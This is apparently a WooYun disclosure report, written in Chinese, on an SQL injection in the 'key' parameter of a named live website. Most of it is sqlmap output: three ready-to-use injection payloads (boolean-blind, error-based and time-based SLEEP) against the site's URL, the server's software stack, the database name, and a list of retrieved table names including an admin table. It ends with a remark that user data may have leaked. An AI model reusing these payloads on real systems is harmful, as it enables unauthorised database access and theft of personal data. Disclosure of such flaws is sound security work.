WooYun.org

http://www.cqaipu666.com/news/index.php?catid=0&key=a&imageField.x=31&imageField.y=10
参数key未过滤
管理员亲，之前的注入点都修复了，这个没修复。
上sqlmap
Parameter: key (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catid=0&key=a' AND 6097=6097 AND 'bgHz'='bgHz&imageField.x=31&image
Field.y=10
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: catid=0&key=a' AND (SELECT 7998 FROM(SELECT COUNT(*),CONCAT(0x71707
06271,(SELECT (ELT(7998=7998,1))),0x716a717a71,FLOOR(RAND(0)*2))x FROM INFORMATI
ON_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'KvoA'='KvoA&imageField.x=31&imageFie
ld.y=10
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: catid=0&key=a' AND (SELECT * FROM (SELECT(SLEEP(5)))zgaI) AND 'CRjH
'='CRjH&imageField.x=31&imageField.y=10
---
[11:06:47] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
显错注入
current database: 'sjkcqaipu666'
[11:30:20] [INFO] fetching tables for database: 'sjkcqaipu666'
[11:30:23] [WARNING] reflective value(s) found and filtering out
[11:30:23] [INFO] the SQL query used returns 101 entries
[11:30:25] [INFO] retrieved: pwn_advs_duilian
[11:30:26] [INFO] retrieved: pwn_advs_lb
[11:30:27] [INFO] retrieved: pwn_advs_lbgroup
[11:30:28] [INFO] retrieved: pwn_advs_link
[11:30:28] [INFO] retrieved: pwn_advs_linkgroup
[11:30:29] [INFO] retrieved: pwn_advs_logo
[11:30:30] [INFO] retrieved: pwn_advs_movi
[11:30:31] [INFO] retrieved: pwn_advs_pic
[11:30:32] [INFO] retrieved: pwn_advs_pop
[11:30:33] [INFO] retrieved: pwn_advs_text
[11:30:34] [INFO] retrieved: pwn_base_admin
.......
是不是重庆的用户信息都泄露了呢。。